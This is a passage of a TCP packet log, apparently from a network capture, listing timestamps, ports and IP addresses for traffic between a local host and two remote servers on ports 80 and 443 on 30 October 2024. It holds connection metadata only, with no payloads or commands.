Oct 30, 2024 04:35:35.996896982 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.996907949 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.996979952 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.998925924 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.998985052 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.999010086 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.999021053 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.999039888 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.999056101 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.999099016 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.041970015 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.041982889 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.042001963 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.042012930 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.042023897 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.042093039 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.042095900 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.042104959 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.042114973 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.042191029 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.073448896 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.073473930 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.073483944 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.073535919 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.073584080 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.073596001 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.073606014 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.073606968 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.073667049 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.073683023 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.073698044 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.073708057 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.073808908 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.073808908 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.073822975 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.073856115 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.073867083 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.073873043 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.073916912 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.073928118 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.073939085 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.073973894 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.074016094 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.074027061 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.074037075 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.074048996 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.074091911 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.074148893 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.074166059 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.074167013 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.074178934 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.074188948 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.074202061 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.074215889 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.074263096 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.074274063 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.074280024 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.074282885 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.074352026 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.074362993 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.074378014 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.074436903 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.081384897 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.081443071 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.081456900 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.081469059 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.081496000 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.081506968 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.081516981 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.081523895 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.081609964 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.081625938 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.081634045 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.081682920 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.081697941 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.081707001 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.081721067 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.081733942 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.081743956 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.081777096 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.081796885 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.081854105 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.081855059 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.081866980 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.081878901 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.081892014 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.081919909 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.081948996 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.081965923 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.082020998 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.082031965 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.082041025 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.082048893 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.082052946 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.082118988 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.082135916 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.082142115 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.082165003 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.082178116 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.082211018 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.082266092 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.082279921 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.082288980 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.082292080 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.082304955 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.082362890 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.082382917 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.082417011 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.082428932 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.082457066 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.082494974 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.082505941 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.082556009 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.082662106 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.103444099 CET	443	49990	188.114.97.3	192.168.2.7
Oct 30, 2024 04:35:36.103573084 CET	49990	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:35:36.107340097 CET	49990	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:35:36.107352018 CET	443	49990	188.114.97.3	192.168.2.7
Oct 30, 2024 04:35:36.107615948 CET	443	49990	188.114.97.3	192.168.2.7
Oct 30, 2024 04:35:36.113106012 CET	49990	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:35:36.113456011 CET	49990	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:35:36.113507032 CET	443	49990	188.114.97.3	192.168.2.7
Oct 30, 2024 04:35:36.114408970 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.114420891 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.114490986 CET	49990	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:35:36.114496946 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.114500046 CET	443	49990	188.114.97.3	192.168.2.7
Oct 30, 2024 04:35:36.116501093 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.116519928 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.116528988 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.116579056 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.116580009 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.116615057 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.116621017 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.116632938 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.116642952 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.116688013 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.116733074 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.159689903 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.159703970 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.159852982 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.159890890 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.159928083 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.159939051 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.159969091 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.159970045 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.159981966 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.160011053 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.160087109 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.191133976 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.191145897 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.191176891 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.191190004 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.191200018 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.191204071 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.191214085 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.191236019 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.191258907 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.191266060 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.191277981 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.191304922 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.191344023 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.191354990 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.191365957 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.191365957 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.191401958 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.191407919 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.191422939 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.191445112 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.191454887 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.191457987 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.191477060 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.191509008 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.191533089 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.191545010 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.191571951 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.191574097 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.191587925 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.191608906 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.191612959 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.191632986 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.191636086 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.191654921 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.191682100 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.191723108 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.191735029 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.191745996 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.191761971 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.191768885 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.191790104 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.191793919 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.191809893 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.191837072 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.191850901 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.191863060 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.191874027 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.191895962 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.191921949 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.191927910 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.191983938 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.192015886 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.192025900 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.192039013 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.192064047 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.198980093 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.199002028 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.199012041 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.199054003 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.199074984 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.199089050 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.199093103 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.199124098 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.199127913 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.199136019 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.199167013 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.199201107 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.199201107 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.199213028 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.199255943 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.199266911 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.199285984 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.199297905 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.199309111 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.199347019 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.199351072 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.199358940 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.199385881 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.199392080 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.199425936 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.199429989 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.199440956 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.199479103 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.199517965 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.199541092 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.199552059 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.199558020 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.199599028 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.199613094 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.199624062 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.199634075 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.199656963 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.199686050 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.199688911 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.199734926 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.199745893 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.199791908 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.199812889 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.199825048 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.199856997 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.199862003 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.199870110 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.199896097 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.199930906 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.199944019 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.199955940 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.199968100 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.199987888 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.200027943 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.200027943 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.200090885 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.200102091 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.200134993 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.200164080 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.200175047 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.200213909 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.200242043 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.232018948 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.232042074 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.232053995 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.232069016 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.232093096 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.232120037 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.234112024 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.234122992 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.234133005 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.234158039 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.234181881 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.234203100 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.234204054 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.234215975 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.234225988 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.234240055 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.234282017 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.277340889 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.277352095 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.277362108 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.277373075 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.277391911 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.277430058 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.277437925 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.277527094 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.277537107 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.277553082 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.277569056 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.277570009 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.277580976 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.277586937 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.277594090 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.277615070 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.277647972 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.308954954 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.308969021 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.308984041 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.309017897 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.309030056 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.309041023 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.309063911 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.309072018 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.309076071 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.309088945 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.309099913 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.309103012 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.309111118 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.309134007 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.309134960 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.309153080 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.309175968 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.309187889 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.309194088 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.309209108 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.309228897 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.309233904 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.309240103 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.309251070 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.309262991 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.309295893 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.309324980 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.309338093 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.309379101 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.309412956 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.309426069 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.309443951 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.309456110 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.309459925 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.309490919 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.309492111 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.309508085 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:36.309524059 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.309561014 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:36.309565067 CET	80	49986	185.215.113.16	192.168.2.7
